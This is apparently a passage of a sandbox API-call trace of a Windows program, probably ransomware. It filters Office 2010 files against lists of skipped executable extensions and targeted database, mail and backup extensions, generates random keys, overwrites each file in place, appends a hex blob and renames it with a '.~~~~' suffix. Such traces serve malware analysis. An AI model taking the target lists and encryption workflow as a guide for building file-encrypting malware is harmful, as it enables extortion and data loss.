	[0146.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0146.745] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.746] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.746] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.746] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.746] CloseHandle (hObject=0x138) returned 1
	[0146.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d02b8
	[0146.746] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\clntwrap.htm"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\clntwrap.htm.~~~~")) returned 1
	[0146.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d02b8 | out: hHeap=0x300000) returned 1
	[0146.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0146.749] GetLastError () returned 0x0
	[0146.749] RtlWakeConditionVariable () returned 0x365f70
	[0146.749] GetCurrentThreadId () returned 0x3a4
	[0146.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".scr") returned 0x0
	[0146.749] lstrlenW (lpString=".cmd") returned 4
	[0146.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".cmd") returned 0x0
	[0146.749] lstrlenW (lpString=".dll") returned 4
	[0146.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".dll") returned 0x0
	[0146.749] lstrlenW (lpString=".bat") returned 4
	[0146.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".bat") returned 0x0
	[0146.749] lstrlenW (lpString=".cpl") returned 4
	[0146.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".cpl") returned 0x0
	[0146.749] lstrlenW (lpString=".sys") returned 4
	[0146.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".sys") returned 0x0
	[0146.750] lstrlenW (lpString=".msc") returned 4
	[0146.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".msc") returned 0x0
	[0146.750] lstrlenW (lpString=".com") returned 4
	[0146.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".com") returned 0x0
	[0146.750] lstrlenW (lpString=".lnk") returned 4
	[0146.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".lnk") returned 0x0
	[0146.750] lstrlenW (lpString=".msp") returned 4
	[0146.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".msp") returned 0x0
	[0146.750] lstrlenW (lpString=".pif") returned 4
	[0146.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".pif") returned 0x0
	[0146.750] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch="msp\r\n.pif") returned 0x0
	[0146.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\rpt2htm4.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0146.752] lstrlenW (lpString=".sqb") returned 4
	[0146.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".sqb") returned 0x0
	[0146.752] lstrlenW (lpString=".ost") returned 4
	[0146.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".ost") returned 0x0
	[0146.752] lstrlenW (lpString=".txt") returned 4
	[0146.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".txt") returned 0x0
	[0146.752] lstrlenW (lpString=".mdt") returned 4
	[0146.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".mdt") returned 0x0
	[0146.752] lstrlenW (lpString=".BDB") returned 4
	[0146.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".BDB") returned 0x0
	[0146.752] lstrlenW (lpString=".eql") returned 4
	[0146.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".eql") returned 0x0
	[0146.752] lstrlenW (lpString=".DBF") returned 4
	[0146.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".DBF") returned 0x0
	[0146.752] lstrlenW (lpString=".EQL") returned 4
	[0146.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".EQL") returned 0x0
	[0146.752] lstrlenW (lpString=".FDB") returned 4
	[0146.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".FDB") returned 0x0
	[0146.752] lstrlenW (lpString=".EDB") returned 4
	[0146.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".EDB") returned 0x0
	[0146.753] lstrlenW (lpString=".DACPAC") returned 7
	[0146.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".DACPAC") returned 0x0
	[0146.753] lstrlenW (lpString=".VHD") returned 4
	[0146.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".VHD") returned 0x0
	[0146.753] lstrlenW (lpString=".DBV") returned 4
	[0146.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".DBV") returned 0x0
	[0146.753] lstrlenW (lpString=".dacpac") returned 7
	[0146.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".dacpac") returned 0x0
	[0146.753] lstrlenW (lpString=".sdf") returned 4
	[0146.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".sdf") returned 0x0
	[0146.753] lstrlenW (lpString=".accdb") returned 6
	[0146.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".accdb") returned 0x0
	[0146.753] lstrlenW (lpString=".DBX") returned 4
	[0146.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".DBX") returned 0x0
	[0146.753] lstrlenW (lpString=".MDT") returned 4
	[0146.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".MDT") returned 0x0
	[0146.753] lstrlenW (lpString=".SQB") returned 4
	[0146.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".SQB") returned 0x0
	[0146.753] lstrlenW (lpString=".vhd") returned 4
	[0146.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".vhd") returned 0x0
	[0146.753] lstrlenW (lpString=".bac") returned 4
	[0146.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".bac") returned 0x0
	[0146.753] lstrlenW (lpString=".mdf") returned 4
	[0146.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".mdf") returned 0x0
	[0146.753] lstrlenW (lpString=".BAK") returned 4
	[0146.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".BAK") returned 0x0
	[0146.754] lstrlenW (lpString=".BAC") returned 4
	[0146.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".BAC") returned 0x0
	[0146.754] lstrlenW (lpString=".dbs") returned 4
	[0146.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".dbs") returned 0x0
	[0146.754] lstrlenW (lpString=".vhdx") returned 5
	[0146.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".vhdx") returned 0x0
	[0146.754] lstrlenW (lpString=".NDF") returned 4
	[0146.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".NDF") returned 0x0
	[0146.754] lstrlenW (lpString=".dat") returned 4
	[0146.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".dat") returned 0x0
	[0146.754] lstrlenW (lpString=".DBS") returned 4
	[0146.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".DBS") returned 0x0
	[0146.754] lstrlenW (lpString=".CKP") returned 4
	[0146.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".CKP") returned 0x0
	[0146.754] lstrlenW (lpString=".edb") returned 4
	[0146.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".edb") returned 0x0
	[0146.754] lstrlenW (lpString=".PST") returned 4
	[0146.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".PST") returned 0x0
	[0146.754] lstrlenW (lpString=".dbf") returned 4
	[0146.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".dbf") returned 0x0
	[0146.754] lstrlenW (lpString=".SQL") returned 4
	[0146.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".SQL") returned 0x0
	[0146.754] lstrlenW (lpString=".pst") returned 4
	[0146.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".pst") returned 0x0
	[0146.754] lstrlenW (lpString=".dbv") returned 4
	[0146.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".dbv") returned 0x0
	[0146.755] lstrlenW (lpString=".SDF") returned 4
	[0146.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".SDF") returned 0x0
	[0146.755] lstrlenW (lpString=".dtxs") returned 5
	[0146.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".dtxs") returned 0x0
	[0146.755] lstrlenW (lpString=".db3") returned 4
	[0146.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".db3") returned 0x0
	[0146.755] lstrlenW (lpString=".OST") returned 4
	[0146.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".OST") returned 0x0
	[0146.755] lstrlenW (lpString=".dbx") returned 4
	[0146.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".dbx") returned 0x0
	[0146.755] lstrlenW (lpString=".DB3") returned 4
	[0146.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".DB3") returned 0x0
	[0146.755] lstrlenW (lpString=".DAT") returned 4
	[0146.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".DAT") returned 0x0
	[0146.755] lstrlenW (lpString=".VHDX") returned 5
	[0146.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".VHDX") returned 0x0
	[0146.755] lstrlenW (lpString=".ndf") returned 4
	[0146.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".ndf") returned 0x0
	[0146.755] lstrlenW (lpString=".DB") returned 3
	[0146.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".DB") returned 0x0
	[0146.755] lstrlenW (lpString=".sql") returned 4
	[0146.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".sql") returned 0x0
	[0146.755] lstrlenW (lpString=".MYD") returned 4
	[0146.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".MYD") returned 0x0
	[0146.755] lstrlenW (lpString=".DBT") returned 4
	[0146.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".DBT") returned 0x0
	[0146.756] lstrlenW (lpString=".ACCDB") returned 6
	[0146.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".ACCDB") returned 0x0
	[0146.756] lstrlenW (lpString=".fdb") returned 4
	[0146.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".fdb") returned 0x0
	[0146.756] lstrlenW (lpString=".bak") returned 4
	[0146.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".bak") returned 0x0
	[0146.756] lstrlenW (lpString=".myd") returned 4
	[0146.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".myd") returned 0x0
	[0146.756] lstrlenW (lpString=".DTXS") returned 5
	[0146.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".DTXS") returned 0x0
	[0146.756] lstrlenW (lpString=".ckp") returned 4
	[0146.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".ckp") returned 0x0
	[0146.756] lstrlenW (lpString=".dbt") returned 4
	[0146.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".dbt") returned 0x0
	[0146.756] lstrlenW (lpString=".db") returned 3
	[0146.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".db") returned 0x0
	[0146.756] lstrlenW (lpString=".TXT") returned 4
	[0146.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".TXT") returned 0x0
	[0146.756] lstrlenW (lpString=".MDF") returned 4
	[0146.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".MDF") returned 0x0
	[0146.756] lstrlenW (lpString=".bdb") returned 4
	[0146.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".bdb") returned 0x0
	[0146.756] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0146.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.757] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x395f38) returned 1
	[0146.837] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.837] CryptReleaseContext (hProv=0x395f38, dwFlags=0x0) returned 1
	[0146.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0146.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0146.849] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26683937990) returned 1
	[0146.849] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xc0ee49d0, dwHighDateTime=0x1d60e1e)) 
	[0146.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0146.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0146.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0146.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380660
	[0146.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380660 | out: hHeap=0x300000) returned 1
	[0146.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0146.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870858
	[0146.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0146.850] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0146.850] GetLastError () returned 0x0
	[0146.851] GetLastError () returned 0x0
	[0146.851] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0146.851] GetLastError () returned 0x0
	[0146.851] GetLastError () returned 0x0
	[0146.851] ReadFile (in: hFile=0x138, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x24dfec0*=0x104cb, lpOverlapped=0x0) returned 1
	[0146.856] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffefb35, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.856] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x104cb, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x104cb, lpOverlapped=0x0) returned 1
	[0146.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0146.857] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.857] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.857] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.857] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.857] CloseHandle (hObject=0x138) returned 1
	[0146.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aca58
	[0146.857] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\rpt2htm4.xsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\rpt2htm4.xsl.~~~~")) returned 1
	[0146.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0146.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0146.860] GetLastError () returned 0x0
	[0146.860] RtlWakeConditionVariable () returned 0x0
	[0146.860] GetCurrentThreadId () returned 0x3a4
	[0146.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".scr") returned 0x0
	[0146.860] lstrlenW (lpString=".cmd") returned 4
	[0146.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".cmd") returned 0x0
	[0146.860] lstrlenW (lpString=".dll") returned 4
	[0146.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".dll") returned 0x0
	[0146.861] lstrlenW (lpString=".bat") returned 4
	[0146.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".bat") returned 0x0
	[0146.861] lstrlenW (lpString=".cpl") returned 4
	[0146.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".cpl") returned 0x0
	[0146.861] lstrlenW (lpString=".sys") returned 4
	[0146.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".sys") returned 0x0
	[0146.861] lstrlenW (lpString=".msc") returned 4
	[0146.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".msc") returned 0x0
	[0146.861] lstrlenW (lpString=".com") returned 4
	[0146.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".com") returned 0x0
	[0146.861] lstrlenW (lpString=".lnk") returned 4
	[0146.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".lnk") returned 0x0
	[0146.861] lstrlenW (lpString=".msp") returned 4
	[0146.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".msp") returned 0x0
	[0146.861] lstrlenW (lpString=".pif") returned 4
	[0146.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch=".pif") returned 0x0
	[0146.861] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", lpSrch="msp\r\n.pif") returned 0x0
